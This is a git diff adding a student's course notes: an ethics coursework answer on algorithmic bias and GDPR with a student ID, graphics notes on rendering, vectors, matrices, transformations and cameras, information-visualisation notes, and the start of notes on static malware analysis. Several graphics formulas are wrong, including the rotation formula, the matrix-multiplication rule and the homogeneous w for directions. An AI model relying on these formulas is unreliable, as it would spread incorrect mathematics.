+1. How do you involve stakeholders and the public in your work?
+2. What channels do you use to enable stakeholder participation in the R&I process?
+3. At which stage of the R&I process is it most effective for you to engage stakeholders, and why?
+4. What does public engagement in the decision-making process mean in your work or organisation?
+5. What dimensions are usually discussed during your engagement activities?
+6. How do you tailor R&I processes to include stakeholders with different genders, ethnicities, classes, ages, routines, experience, or levels of power?
+7. How do you ensure that stakeholders understand and accept their roles and the objectives of their engagement?
+8. What measures would have a direct impact on your multi-stakeholder engagement activities?
+9. What effects do your engagement activities have on public participants and on your R&I processes?
+10. How do you address critical aspects of public engagement activities?
\ No newline at end of file
diff --git a/docs/lectures/ethics/20153544_COMP3020_2020_21.md b/docs/lectures/ethics/20153544_COMP3020_2020_21.md
new file mode 100644
index 0000000..61b9e52
--- /dev/null
+++ b/docs/lectures/ethics/20153544_COMP3020_2020_21.md
@@ -0,0 +1,44 @@
+# COMP3020 PROFESSIONAL ETHICS IN COMPUTING
+
+Student ID: `20153544`
+
+Student Code: `psyjg11`
+
+## Question 2
+
+#### a)
+
+According to code 1.4 from the ACM code of ethics, computing professionals should “be fair and take action not to discriminate”. All humans possess some biases whether they be conscious or not, which is why care should be taken to ensure systems developed do not discriminate against social groups regardless of the social groups of the developers.
+
+#### b)
+
+Algorithmic bias is a series of systematic and repeatable errors, that over the course of the systems runtime, produces output that dis-proportionally discriminates against individuals and/or social groups. Selena Silva and Martin Kenny found 9 sources of algorithmic bias in their research paper, all of which capable of discriminating and producing bias
+
+Bias can be introduced in the development of a machine learning system. Training bias is where data used to train the algorithm may be unrepresentive or prejudiced, this can cause the system to unfairly associate one trait to another even though they have no effect on one another. This can be through the developers own bias by only including data sets representative to their own socitak group or through systemic bias where minority groups are under represented in national and global data sets. Developers can also introduce bias by including or excluding certain attributes. This is called algorithmic focus bias and developers must take variables supplied to the algorithm into careful consideration, evaluating why each variable needs to be included in the system. Similarly bias can arise from the way data is processed, for example this can be from weighting quantitative attributes higher than qualitative ones simply as quantitative data is easier to manipulate, this is called algorithmic processing bias. Non-transparency bias is where companies do not divulge or explain how they came to certain decisions, what their rationale was for different design choices. In the best case this can introduce bias in an unforeseen way as all the developers may come from similar social groups and in the worse case scenario developers can obstruct reviews of the algorithm, allowing discrimination to take place.
+
+Bias can also arise in the use of computing systems. Transfer context bias is where machine learning systems are used inappropriately. This can happen in job applications where credit checks are required or in justice systems where race needs to be explicitly stated. The assumption job performance correlates to wealth or criminal charges correlates to race is unfair and biased. Therefore the use of computer systems particularly in subjective use cases should be scrutinised to ensure the potential benefits outweigh the increased chance of discriminating or additional steps are taken after the system outputs to mitigate any potential harms. Similarly automation bias is where humans hold the output of a system in high regard and don’t question or apply additional thought. Computer systems used in subjective context such as justice systems should be treated as a second opinion or a statistical model and disregarded readily when an unsuitable result is returned. Consumer bias is where bias is introduced to the system via the training data. Humans are inherently flawed and biased and therefore extra care and additional review steps should be added to check the neutrality of the training data. Likewise feedback loop bias affects systems that learn from user behaviour, which again is prone to being discriminatory. This requires special attention has even when a system has been developed without bias, bias is introduced through the systems use lifetime. Lastly interpretation bias is where humans introduce bias from interpreting results from the algorithm. For example if the algorithm agrees with someones own bias, they might be more likely to give a more extreme verdict however if it opposes their own opinion, the result may be completely disregarded.
+
+## Question 3
+
+#### a)
+
+The territorial scope of GDPR is the European Union and the UK. The EU passed GDPR into law in 2018 and the UK adopted it into the Data Protection Act the same year. Individuals living within the European Union or in the UK are protected by the act.
+
+The application scope is worldwide, the regulation states “This Regulation applies … whether the processing takes place in the Union or not”, which means any company that stores the data of EU citizens must adhere to GDPR.
+
+#### b)
+
+To enable proper data protection by design and default, a number of presets must be implemented.
+
+Firstly controllers must be transparent about how and why they are collecting and using data, how they use and share personal data and how data subjects can exercise their legal rights over data processing. This includes the right to: access, object, intervene, restrict, rectify, export and erase. This allows for data subjects to have full knowledge and control over their data and on top of this, recital 63 of GDPR states “where possible controller[s] should … provide remote access … with direct access to his or her personal data”. Controllers must also by default declare a valid legal basis for the processing. This ensures transparency as there is full disclosure of how data subjects legal rights are being maintained.
+
+Controllers must ensure their data processing operations are fair. This principle requires personal data should not be processed in ways that are unjustifiably detrimental, unexpected or misleading to the data subject. Fairness is especially prevalent in dealing with AI systems since these do not operate on predefined instructions written by humans, therefore controllers should be able to demonstrate fairness through the inputs and outputs of the system.
+
+Controllers must explicitly state what the data collected on data subjects will be used for. These must be specific tasks and cannot be processed in way that doesn’t align with the initial reason given. This is called purpose limitation and prevents controllers from collecting as much data as possible for monetary gain or nefarious purposes. This allows data subjects to only give their data to controllers who’s vision aligns with their own.
+
+Controllers must practise data minimisation, this is a practice where the controller must review the data being asked and verifying all pieces of data are needed to meet the purposes for which they are being processed. This can also include the degree of identification, if the purpose is statistical this likely does not require any immediate identifying attributes. If continued identification is needed, data should be pseudonoymised to migrate damages caused from a data breach. Similarly data must be deleted once it has fulfilled it’s purpose. GDPR places no time limit on data storage of anonymised data however this can be reversed engineered and this data should be treated analogous to raw personal data.
+
+Controllers must also ensure data is accurate, and if not it is the controllers duty to rectify or erase mistakes immediately. This is important as data subjects could be relying on this data for employment, housing or other civic needs and not being able to obtain this could cause harm to the data subject and family.
+
+Lastly controllers must put substantial measures in place to prevent unauthorised access, accidental loss and destruction or damage. Regular reviews should be conducted, testing security and inviting professional hackers to further test how the system stands up to new hacking methods.
+
diff --git a/docs/lectures/ethics/img/a.png b/docs/lectures/ethics/img/a.png
new file mode 100644
index 0000000..ed20674
Binary files /dev/null and b/docs/lectures/ethics/img/a.png differ
diff --git a/docs/lectures/graphics/01_rendering.md b/docs/lectures/graphics/01_rendering.md
new file mode 100644
index 0000000..9dafa40
--- /dev/null
+++ b/docs/lectures/graphics/01_rendering.md
@@ -0,0 +1,71 @@
+# Rendering
+
+**Rendering** is the process of drawing images on the computer display. In this course we will focus on images which are made up of triangles.
+
+Rendering in 2-Dimensions involves the following
+
+1. The graphics programmer specifies vertices which make up some triangles to be drawn.
+2. The API assembles triangles from the vertices.
+3. The API rasterises the triangles to calculate which pixels are inside each triangle.
+4. The pixels inside triangles, called fragments, are shaded to calculate the colour.
+5. The colours are displayed at the appropriate pixels.
+
+A **vertex** is a point in space and is used to model geometry. A vertex can be presented using a vector, which is like an arrow. Can be written as $v=(3,2,0)$
+
+A *fragement* is a piece of a triangle which will be drawn to a pixel.
+
+A section of memory called a **frame buffer** (or colour buffer) stores the colour values that will be used at each pixel.
+
+A shader is a program. Shaders are run on the GPU.
+
+#### Rendering Stages
+
+1. Vertex Specification
+ - In the application the vertices making up the triangles are specified, that is, given positions. The application is a software program which might be a Computer Aided Design (CAD), some kind of simulation, a visualisation, or a videogame. The graphics programmer specifies the location of vertices which make up the triangles to be rendered. These vertices are passed to the vertex shaders.
+2. Vertex Shader
+ - Vertex processing by the vertex shader moves the vertices around. . The Vertices are used to construct triangles.
+3. Rasterisation
+ - There may be empty space around the triangles. Rasterisation is the process of taking all of the triangles and figuring out which pixels are inside each of the triangles.
+ - Each of these pixels inside the triangles is called a fragment.
+ - Rasterisation will generate a fragment for each pixel which is inside a triangle. The fragments are passed to the fragment shaders.
+4. Fragment Shader
+ - The colour of Fragments is calculated by the fragment shader.
+
+## Rasterisation
+
+```java
+for each pixel y in Y dimension {
+ for each pixel x in X dimension {
+ for each triangle t {
+ if pixel x,y is inside triangle t {
+ Call fragment shader to
+ calculate the fragment colour
+ }
+ }
+ }
+}
+```
+
+#### Barcentric Coordinates
+
+We can use this to calculate if a point is inside a triangle or not.
+
+The barrcentric coordintates are $\alpha, \beta, \gamma$.
+
+$\alpha$ corresponds to the normalised linear distance of P between the line $\alpha$=0 and $\alpha$=1
+
+$\beta$ corresponds to the normalised linear distance of P between the line AC and point B
+
+$\gamma$ corresponds to the normalised linear distance of P between the line AB and point C
+
+If $\alpha, \beta, \gamma$ are all in the range $[0..1]$ then the point is within the triangle.
+
+##### Calculating Barycentric Coordinates
+
+$line(A, B, P) = (B_y-A_y)P_x+(A_x-B_x)P_y+B_xA_y-A_xB_y$
+
+$\alpha = \frac{line(B,C,P)}{line(B,C,A)}$
+
+$\beta = \frac{line(A,C,P)}{line(A,C,B)}$
+
+$\gamma = \frac{line(A,B,P)}{line(A,B,C)}$
\ No newline at end of file
diff --git a/docs/lectures/graphics/02_opengl_glfw_glad.md b/docs/lectures/graphics/02_opengl_glfw_glad.md
new file mode 100644
index 0000000..7e08500
--- /dev/null
+++ b/docs/lectures/graphics/02_opengl_glfw_glad.md
@@ -0,0 +1,20 @@
+# OpenGL, GLFW and GLSL
+
+#### Structure of a graphics program
+
+1. Make a window and a context
+
+ - This is OS specific, therefore we need GLFW to set this up for us
+
+2. Load all OpenGL methods (GLAD)
+
+3. Compile shaders
+
+4. Specify vertices (C)
+
+5. Setup objects to communicate to the shaders (OpenGL)
+
+6. Render loop (OpenGL)
+
+7. Deinitialisation (GLFW)
+
diff --git a/docs/lectures/graphics/03_graphic_math.md b/docs/lectures/graphics/03_graphic_math.md
new file mode 100644
index 0000000..78d0a79
--- /dev/null
+++ b/docs/lectures/graphics/03_graphic_math.md
@@ -0,0 +1,130 @@
+# Mathematics for Graphics
+
+### Vectors
+
+- The n-dimensional Euclidean Space is $\mathbb{R}^n$
+ - $\mathbb{R}^n = \{(v_0, v_1, ... v_{n-1}) | v_0, v_1, ...v_{n-1} \in \mathbb{R}\}$
+- A vector is an n-turple
+- $v\in \mathbb{R}^n \Longleftrightarrow v=(v_0, v_1, ...v_{n-1}) | v_0, v_1, ...v_{n-1} \in \mathbb{R}$
+- In computer graphics we normally deal with 3-Dimensional Euclidean space $\mathbb{R}^3$
+ - vec3 notation:
+ - $v=(v_0, v_1, v_2)$
+ - $v = \begin{pmatrix} {v_0}\\{v_1}\\{v_2} \end{pmatrix}$
+ - Where $v_0$ represents x, $v_1$ represents y, and $v_2$ represents z axis
+
+##### Vector Scaling
+
+Each element of $v$ is scaled independently by $s$. Only the length is changed
+
+$$
+v\cdot s = \begin{pmatrix} {v_0\cdot s}\\{v_1\cdot s}\\{v_2\cdot s} \end{pmatrix}
+$$
+
+##### Vector Addition
+
+$$
+v + u = \begin{pmatrix} {v_0+u_0}\\{v_1+u_1}\\{v_2+u_2} \end{pmatrix}
+$$
+
+##### Vector Length
+
+$$
+||v|| = \sqrt{v_0^2 + v_1^2 + v_2^2}
+$$
+
+##### Vector Normalisation
+
+To change the length of the vector to 1.
+
+$$
+\frac{1}{||v||} \cdot v
+$$
+
+$\hat{v}$ is the notation for a normalised vector
+
+##### Dot Product
+
+$$
+u\cdot v = \sum_{i=0}^{n-1} u_i \times v_i
+$$
+
+or $u\cdot v = (u_0 * v_0) + (u_1 * v_1) + (u_2 * v_2)$
+
+The dot product is also defined in $\mathbb{R}^2$ and $\mathbb{R}^3$ as:
+
+$$
+u\cdot v = ||u||\times||v||cos\theta
+$$
+
+where $\theta$ is the smallest angle between $u$ and $v$
+
+If the dot product is **0**: the two vectors are **perpendicular**
+
+If the dot product is **positive**: $0 \leq \theta \leq \frac{\pi}{2}$
+
+If the dot product is **negative**: $\frac{\pi}{2} \leq \theta \leq \pi$
+
+##### Cross Product
+
+In $\mathbb{R}^3$ cross product is defined as follows:
+
+$$
+u \times v = \begin{pmatrix}
+(u_1 * v_2)-(u_2*v_1)\\
+(u_2 * v_0)-(u_0*v_2)\\
+(u_0 * v_1)-(u_1*v_0) \end{pmatrix}
+$$
+
+##### Matrices
+
+**Identity Matrix**
+
+$$
+\begin{pmatrix}
+1 \quad 0 \quad 0 \quad 0 \\
+0 \quad 1 \quad 0 \quad 0 \\
+0 \quad 0 \quad 1 \quad 0 \\
+0 \quad 0 \quad 0 \quad 1
+\end{pmatrix}
+$$
+
+###### Transpose of a Matrix
+
+Turns each row into a column
+
+
+
+###### Matrix addition
+
+
+
+###### Matrix Multiplication
+
+Two matrices can only be multiplied if they both have the same number of columns and rows.
+
+To get the resulting matrix, for each $(x,y)$ pair, is the cross product of the $x^{th}$ column and the $y^{th}$ row.
+
+- Matrix multiplication is not communative
+ - $MN \neq NM$
+
+###### Matrix-Vector Multiplication
+
+A matrix multiplied by vector gives new vector
+
+Each row of the resulting vector is that row of the vector, dot producted with that row on the matrix.
+
+##### Trigonometry
+
+If $p=(p_x, p_y)$ is a unit vector, we can write them as:
+
+$$
+p_x = cos \space \alpha \\
+p_y = sin \space \alpha
+$$
+
+$$
+sin \space \alpha = \frac{opp}{hyp} \\
+cos \space \alpha = \frac{adj}{hyp} \\
+tan \space \alpha = \frac{opp}{adj} \\
+hyp^2 = opp^2 + adj^2
+$$
diff --git a/docs/lectures/graphics/04_transformations.md b/docs/lectures/graphics/04_transformations.md
new file mode 100644
index 0000000..080e490
--- /dev/null
+++ b/docs/lectures/graphics/04_transformations.md
@@ -0,0 +1,151 @@
+# Transformations
+
+### Translation
+
+Translation is done by adding/subtracting the translation distance to either the x or y (or both) component
+
+A translation of $(3,2)$ done on vector $u=\begin{pmatrix} u_0\\u_1\end{pmatrix}$
+
+$u'=\begin{pmatrix} u_0+3\\u_1+2\end{pmatrix}$
+
+This can be applied to a triangle, where every vertex is translated by the same amount.
+
+### Rotation
+
+Vector $v$ can be rotated by angle $\theta$ radians anticlockwise as follows
+
+$$
+rot(v) = \begin{pmatrix}
+cos\theta * v_0 - sin\theta * v_1 \\
+sin\theta * v_0 - cos\theta * v_1
+\end{pmatrix}
+$$
+
+
+
+We can rotate triangles by rotating each vertex
+
+### Scale
+
+The vector $v$ can be scaled by scalar $s$ in each dimension independently
+
+$$
+v \cdot s = \begin{pmatrix} v_0 \cdot s_0 \\ v_1\cdot s_1 \end{pmatrix}
+$$
+
+We can scale triangles by scaling each of its vertices
+
+### Transformation Matrix
+
+#### Translation
+
+This is where we represent a transformation in the form of a matrix
+
+- The translation matrix, **T**, which translates by some vector **t** $= (t_x, t_y, t_z)$
+
+$$
+T(t) = \begin{pmatrix}
+1 \quad 0 \quad 0 \quad t_x \\
+0 \quad 1 \quad 0 \quad t_y \\
+0 \quad 0 \quad 1 \quad t_z \\
+0 \quad 0 \quad 0 \quad 1
+\end{pmatrix}
+$$
+
+#### Rotation
+
+- The rotations around each axis by some angle $\theta$ are represented as matrices $R_x, R_y, R_z$
+- This is in 2 dimensions
+
+
+
+#### Scale
+
+$$
+S(t) = \begin{pmatrix}
+s_x \quad 0 \quad 0 \quad 0 \\
+0 \quad s_y \quad 0 \quad 0 \\
+0 \quad 0 \quad s_z \quad 0 \\
+0 \quad 0 \quad 0 \quad 1
+\end{pmatrix}
+$$
+
+### Homogeneous Coordinates
+
+- Vector defines a **direction** or a **position**
+- We can rotate directions and positions
+- We can scale directions and positions
+- We can only translate positions
+
+A homogeneous vector is $p=(p_x, p_y, p_z, p_w)$
+
+- Transforming a point $p$ is done by multiplying the vector (with $w$ set to 1) by the transformation matrix $M$
+- To transform vectors the $w$ must be set to 1
+
+
+
+The translation matrix can be applied to point $p$ by multiplying the point by the matrix
+
+
+
+The scale matrix can be applied to a point $p$ by multiplying the point by the matrix
+
+
+
+The rotation around x matrix can be applied to a point $p$ by multiplying the point by the matrix
+
+
+
+y:
+
+
+
+z:
+
+
+
+#### Combining Transformations
+
+For example if point $p$ needs to be scaled by $s=(2,1,1)$ and then translated by $t=(1,0,0)$
+
+$$
+S = \begin{pmatrix}
+2 \quad 0 \quad 0 \quad 0 \\
+0 \quad 1 \quad 0 \quad 0 \\
+0 \quad 0 \quad 1 \quad 0 \\
+0 \quad 0 \quad 0 \quad 1
+\end{pmatrix}
+\\\\
+T = \begin{pmatrix}
+1 \quad 0 \quad 0 \quad 1 \\
+0 \quad 1 \quad 0 \quad 0 \\
+0 \quad 0 \quad 1 \quad 0 \\
+0 \quad 0 \quad 0 \quad 1
+\end{pmatrix}
+\\\\
+TS = T\times S =
+\begin{pmatrix}
+2 \quad 0 \quad 0 \quad 1 \\
+0 \quad 1 \quad 0 \quad 0 \\
+0 \quad 0 \quad 1 \quad 0 \\
+0 \quad 0 \quad 0 \quad 1
+\end{pmatrix}
+$$
+
+Matrix multiplication is read from right to left
+
+The order of the transformations makes a difference and can change the resulting vector for example
+
+$$
+ST = S\times T =
+\begin{pmatrix}
+2 \quad 0 \quad 0 \quad 2 \\
+0 \quad 1 \quad 0 \quad 0 \\
+0 \quad 0 \quad 1 \quad 0 \\
+0 \quad 0 \quad 0 \quad 1
+\end{pmatrix}
+$$
+
+
+
+The difference between translating and scaling vs scaling and translating vector $v$
diff --git a/docs/lectures/graphics/05_2d_to_3d.md b/docs/lectures/graphics/05_2d_to_3d.md
new file mode 100644
index 0000000..683d01c
--- /dev/null
+++ b/docs/lectures/graphics/05_2d_to_3d.md
@@ -0,0 +1,41 @@
+# 2D to 3D
+
+#### Spaces and Transformations
+
+
+
+- **Model Space**
+ - Model space is relative to an individual model which is made up of vertices.
+ - A cube has one vertex at each corner which are positioned relative to the centre of the cube
+ - In model space there is no information about where a model is relative to anything in the world, there is only information about the relative positions of the vertices which make up the model
+- **World Space**
+ - World space is relative top a larger coordinate system
+ - Vertices are positioned in model space and then all moved to the appropriate position in the world
+- **View Space**
+ - View space has all vertices from the perspective of the viewer
+ - Vertices aren’t defined in view space. The world is moved relative to the viewer position
+- **Clip space**
+ - Clip space is an intermediate space after vertices have been projected to what is going to be drawn to the screen
+- **Normalised Device Coordinate space**
+ - NDC space is almost identical to the pixels on the screen.
+ - Vertices inside the NDC space will be rendered at those positions
+- **Screen space**
+ - Screen space maps directly to the pixels on the screen
+ - From now vertices can be used to construct triangles, which are rasterised and the appropriate pixels are coloured
+
+- Model Transform
+ - The transformation of vertices from model space to world space
+- View transform
+ - The transform of vertices from world space to view space
+- Projection transform
+ - The projection of vertices from view space to clip space
+- Perspective Division
+ - The division of each component by its homogeneous $w$ component
+- Viewport Transformation
+ - The mapping of normalised coordinates to vertices at screen pixel coordinates
+
+#### View Space with Frustum
+
+
+
+Everything outside the frustum isn’t rendered
\ No newline at end of file
diff --git a/docs/lectures/graphics/06_rendering_pipeline.md b/docs/lectures/graphics/06_rendering_pipeline.md
new file mode 100644
index 0000000..5be4c7e
--- /dev/null
+++ b/docs/lectures/graphics/06_rendering_pipeline.md
@@ -0,0 +1,26 @@
+# The Rendering Pipeline
+
+The four rendering stages:
+
+1. Vertex Specification
+2. Vertex processing
+3. Rasterisation
+4. Fragment shader
+
+
+
+- **Application stage** is the software that runs on the CPU
+ - 
+- **Vertex processing stage** is responsible for processing operations on individual vertices
+ - In this stage vertex positions are transformed from model space to world and then view space, and projected to clip coordinates
+ - Vertex **post processing**:
+ 1. Primitive Assembly
+ 2. Clipping
+ - 
+ 3. Perspective divide
+ 4. View-port transformation
+- **Rasterisation stage** is responsible for calculating all of the pixels inside the triangles that are being rendered
+- **Pixel processing stage** is responsible for processing operations on individual fragments.
+ - Texturing can also happen in the fragment shader
+ - Fragment shader computes a colour which is then merged with the colour buffer
+ - Merging calculates which fragments are hidden behind other fragments and only keeps the colour for the visible fragment
\ No newline at end of file
diff --git a/docs/lectures/graphics/07_camera.md b/docs/lectures/graphics/07_camera.md
new file mode 100644
index 0000000..7ac61c5
--- /dev/null
+++ b/docs/lectures/graphics/07_camera.md
@@ -0,0 +1,64 @@
+# Camera Essentials
+
+There are two types of camera:
+
+1. A model-viewer camera
+2. A fly-through camera
+
+A camera involves
+
+1. A position in 3D space
+2. A forward direction
+3. A right direction
+4. An up direction
+
+Calculating a camera direction can be achieved using Euler angles, **pitch**, **yaw** and **roll** .
+
+- Pitch rotates the camera on the x axis
+ - Think of a plane pointing its nose to the floor or to the sky
+- Yaw rotates the camera on the y axis
+ - Think a plane moving the nose left to right keeping the wings parallel with the ground
+- Roll rotates the camera on the z axis
+ - Think tilting the plane’s wings left and right, but not changing the direction of the nose
+
+#### Model-Viewer Camera
+
+This is a camera that can rotate around the model in a sphere.
+
+
+
+Changing the pitch of the camera makes the camera move upwards and point downwards, here the camera moves around the sphere where the direction is always towards the model
+
+
+
+The camera can also move back and forwards, making the sphere bigger or smaller.
+
+
+
+$$
+\begin{aligned}
+p_x = &\cos\theta * \cos\alpha \\
+p_y = &\sin\alpha \\
+p_z = &\sin\theta * \cos\alpha
+\end{aligned}
+$$
+
+#### Fly-Through Camera
+
+The camera has a position in world space and a focus direction `front`, which can be focused on the model or not.
+
+We can move this kind of camera, forward, backward, left and right along with pitch, roll and yaw.
+
+The camera is at the center of the sphere, and the model moves around the edge of the sphere.
+
+A unit vector points from the camera to the model as the front direction of the camera
+
+We can move the camera forwards and backwards by
+
+```c
+pos += front //forwards
+pos -= front //backwards
+
+pos += right //move right
+pos -= right //move left
+```
diff --git a/docs/lectures/graphics/img/1645633205.png b/docs/lectures/graphics/img/1645633205.png
new file mode 100644
index 0000000..c270fda
Binary files /dev/null and b/docs/lectures/graphics/img/1645633205.png differ
diff --git a/docs/lectures/graphics/img/1645633407.png b/docs/lectures/graphics/img/1645633407.png
new file mode 100644
index 0000000..c457220
Binary files /dev/null and b/docs/lectures/graphics/img/1645633407.png differ
diff --git a/docs/lectures/graphics/img/1646415138.png b/docs/lectures/graphics/img/1646415138.png
new file mode 100644
index 0000000..44ae37b
Binary files /dev/null and b/docs/lectures/graphics/img/1646415138.png differ
diff --git a/docs/lectures/graphics/img/1646415811.png b/docs/lectures/graphics/img/1646415811.png
new file mode 100644
index 0000000..cfb38f4
Binary files /dev/null and b/docs/lectures/graphics/img/1646415811.png differ
diff --git a/docs/lectures/graphics/img/1646416149.png b/docs/lectures/graphics/img/1646416149.png
new file mode 100644
index 0000000..c01fc8b
Binary files /dev/null and b/docs/lectures/graphics/img/1646416149.png differ
diff --git a/docs/lectures/graphics/img/1646416282.png b/docs/lectures/graphics/img/1646416282.png
new file mode 100644
index 0000000..881a55b
Binary files /dev/null and b/docs/lectures/graphics/img/1646416282.png differ
diff --git a/docs/lectures/graphics/img/1646416316.png b/docs/lectures/graphics/img/1646416316.png
new file mode 100644
index 0000000..8529108
Binary files /dev/null and b/docs/lectures/graphics/img/1646416316.png differ
diff --git a/docs/lectures/graphics/img/1646416421.png b/docs/lectures/graphics/img/1646416421.png
new file mode 100644
index 0000000..dc978fb
Binary files /dev/null and b/docs/lectures/graphics/img/1646416421.png differ
diff --git a/docs/lectures/graphics/img/1646416447.png b/docs/lectures/graphics/img/1646416447.png
new file mode 100644
index 0000000..8a73dc8
Binary files /dev/null and b/docs/lectures/graphics/img/1646416447.png differ
diff --git a/docs/lectures/graphics/img/1646416456.png b/docs/lectures/graphics/img/1646416456.png
new file mode 100644
index 0000000..fe2e083
Binary files /dev/null and b/docs/lectures/graphics/img/1646416456.png differ
diff --git a/docs/lectures/graphics/img/1646416468.png b/docs/lectures/graphics/img/1646416468.png
new file mode 100644
index 0000000..74bccd7
Binary files /dev/null and b/docs/lectures/graphics/img/1646416468.png differ
diff --git a/docs/lectures/graphics/img/1646417286.png b/docs/lectures/graphics/img/1646417286.png
new file mode 100644
index 0000000..3b3e636
Binary files /dev/null and b/docs/lectures/graphics/img/1646417286.png differ
diff --git a/docs/lectures/graphics/img/1646763917.png b/docs/lectures/graphics/img/1646763917.png
new file mode 100644
index 0000000..bcf989b
Binary files /dev/null and b/docs/lectures/graphics/img/1646763917.png differ
diff --git a/docs/lectures/graphics/img/1646764884.png b/docs/lectures/graphics/img/1646764884.png
new file mode 100644
index 0000000..720ec80
Binary files /dev/null and b/docs/lectures/graphics/img/1646764884.png differ
diff --git a/docs/lectures/graphics/img/1647365644.png b/docs/lectures/graphics/img/1647365644.png
new file mode 100644
index 0000000..8795af5
Binary files /dev/null and b/docs/lectures/graphics/img/1647365644.png differ
diff --git a/docs/lectures/graphics/img/1647366052.png b/docs/lectures/graphics/img/1647366052.png
new file mode 100644
index 0000000..56288a0
Binary files /dev/null and b/docs/lectures/graphics/img/1647366052.png differ
diff --git a/docs/lectures/graphics/img/1647366066.png b/docs/lectures/graphics/img/1647366066.png
new file mode 100644
index 0000000..ca56a0e
Binary files /dev/null and b/docs/lectures/graphics/img/1647366066.png differ
diff --git a/docs/lectures/graphics/img/1647366278.png b/docs/lectures/graphics/img/1647366278.png
new file mode 100644
index 0000000..7e142d5
Binary files /dev/null and b/docs/lectures/graphics/img/1647366278.png differ
diff --git a/docs/lectures/graphics/img/1648476699.png b/docs/lectures/graphics/img/1648476699.png
new file mode 100644
index 0000000..1369c94
Binary files /dev/null and b/docs/lectures/graphics/img/1648476699.png differ
diff --git a/docs/lectures/graphics/img/1648476784.png b/docs/lectures/graphics/img/1648476784.png
new file mode 100644
index 0000000..a80a335
Binary files /dev/null and b/docs/lectures/graphics/img/1648476784.png differ
diff --git a/docs/lectures/graphics/img/1648476819.png b/docs/lectures/graphics/img/1648476819.png
new file mode 100644
index 0000000..55a8f28
Binary files /dev/null and b/docs/lectures/graphics/img/1648476819.png differ
diff --git a/docs/lectures/infovis/01_intro.md b/docs/lectures/infovis/01_intro.md
new file mode 100644
index 0000000..26ad929
--- /dev/null
+++ b/docs/lectures/infovis/01_intro.md
@@ -0,0 +1,48 @@
+# Fundamentals of Information Visualisation
+
+###### How to make use of data?
+
+- How do we avoid being overwhelmed?
+- How do we make sense of the data?
+- How do we harness this data in decision-making process?
+
+###### Objective
+
+- Transform the data into information (understanding & insight)
+
+##### What is Information Visualisation
+
+> - “… finding the artificial memory that best supports our natural means of perception.” - Bertin 1967
+> - “The use of computer -generated, interactive, visual representations opf data to amplify cognition” - Card, Mackinlay & Shneiderman 1999
+
+### Anscombe’s Quartet
+
+
+
+Here we can see that statistically these sets are similar
+
+
+
+However graphing them, we can see that these data sets are very different.
+
+#### Common Information Visualisations
+
+- Pie charts
+ - Very common, easy to understand, visually appealing
+ - Can make comparisons harder with many segments
+- Bar chart
+ - Makes comparisons between bars easier
+- Calendar View
+ - https://observablehq.com/@d3/calendar
+ - Can spot long-term trends - e.g. seasonal, annual trends
+
+###### Wikipedia Edit Evolution
+
+
+
+Note the use of colour and shape.
+
+
+
+
+
diff --git a/docs/lectures/infovis/02_value_of_visualisation.md b/docs/lectures/infovis/02_value_of_visualisation.md
new file mode 100644
index 0000000..6b86d46
--- /dev/null
+++ b/docs/lectures/infovis/02_value_of_visualisation.md
@@ -0,0 +1,83 @@
+# The Value of Visualisation
+
+###### Why create a Visualisation?
+
+- Answer questions (or discover them)
+- Make decisions
+- See data in context
+- Expand memory
+- Support graphical calculation
+- Find patterns and trends
+- Present arguments or tell a story
+
+> A picture is worth a 1000 words
+
+**Record** information
+
+- Blueprints, photographs, seimographs
+
+**Communicate** information to others
+
+- Share and persuade
+ - Think Florence Nightingale using a graph to show deaths to infection was the leading cause of death in hospitals
+- Collaborate and revise
+ - Think the London tube map, before was geographically accurate, now is only topologically accurate
+
+Analysis data to **support reasoning**
+
+- Find patterns
+ - Think the London Cholera map, how John Snow found out where the infection was coming from
+- Discover errors in data
+- Expand memory
+ - Imaging doing a sum like $34\times 52$ mentally verses with a pen and paper
+ - Visualising the sum (column multiplication) can expand your memory
+- Develop and assess hypotheses
+
+#### Different Stages of Visualisation
+
+
+
+- Data transformation
+ - Create a structural model, schema, mapping raw data into data tables
+- Visual Mapping
+ - Create a visual spatial model, transforming data tables into visual structures
+- View Transformations
+ - Create views of the Visual Structures by specifying graphical parameters such as position, scaling and clipping.
+
+
+
+###### Acquire
+
+- Obtain the data, whether from a file on a disk or network
+
+###### Parse
+
+- Provide some structure for the data’s meaning, and order it into categories
+
+###### Filter
+
+- Remove all but interesting data
+
+###### Mine
+
+- Apply methods from statistics or data mining as a way to discern patterns or place the data in mathematical context
+ - Work out mean, standard deviation etc
+
+###### Represent
+
+- Choose a visual model
+ - Bar chart, graph, pie chart etc
+
+###### Refine
+
+- Improve the basic representation to make it clearer and more engaging
+
+###### Interact
+
+- Add methods for manipulating the data or controlling what features are visible
+
+##### Interaction is Vital for Exploration
+
+- Engage in a dialog with your data
+- Employ interaction in a more fundamental manner to strengthen the power of visualisation
+
diff --git a/docs/lectures/infovis/img/1645029722.png b/docs/lectures/infovis/img/1645029722.png
new file mode 100644
index 0000000..cbc123c
Binary files /dev/null and b/docs/lectures/infovis/img/1645029722.png differ
diff --git a/docs/lectures/infovis/img/1645029788.png b/docs/lectures/infovis/img/1645029788.png
new file mode 100644
index 0000000..ccc1346
Binary files /dev/null and b/docs/lectures/infovis/img/1645029788.png differ
diff --git a/docs/lectures/infovis/img/1645033524.png b/docs/lectures/infovis/img/1645033524.png
new file mode 100644
index 0000000..ab5505f
Binary files /dev/null and b/docs/lectures/infovis/img/1645033524.png differ
diff --git a/docs/lectures/infovis/img/1645033652.png b/docs/lectures/infovis/img/1645033652.png
new file mode 100644
index 0000000..2a426a5
Binary files /dev/null and b/docs/lectures/infovis/img/1645033652.png differ
diff --git a/docs/lectures/infovis/img/1645033689.png b/docs/lectures/infovis/img/1645033689.png
new file mode 100644
index 0000000..22276b6
Binary files /dev/null and b/docs/lectures/infovis/img/1645033689.png differ
diff --git a/docs/lectures/infovis/img/a.png b/docs/lectures/infovis/img/a.png
new file mode 100644
index 0000000..57ffdbb
Binary files /dev/null and b/docs/lectures/infovis/img/a.png differ
diff --git a/docs/lectures/malware/01_static_analysis.md b/docs/lectures/malware/01_static_analysis.md
new file mode 100644
index 0000000..53cb31e
--- /dev/null
+++ b/docs/lectures/malware/01_static_analysis.md
@@ -0,0 +1,140 @@
+# Malware Analysis Techniques
+
+### Basic Static Analysis
+
+- Examining the executable file without viewing the actual instructions
+ - This can confirm whether a file is malicious
+ - Provide information about its functionality
+ - Provide information that will allow us to produce network signatures
+- Basic static analysis is straightforward and quick
+- However is largely ineffective against sophisticated malware.
+
+##### Techniques
+
+- Using **antivirus tools** to confirm maliciousness
+ - virus total is an online tool to scan files for known malware
+- Using **hashes** to identify malware
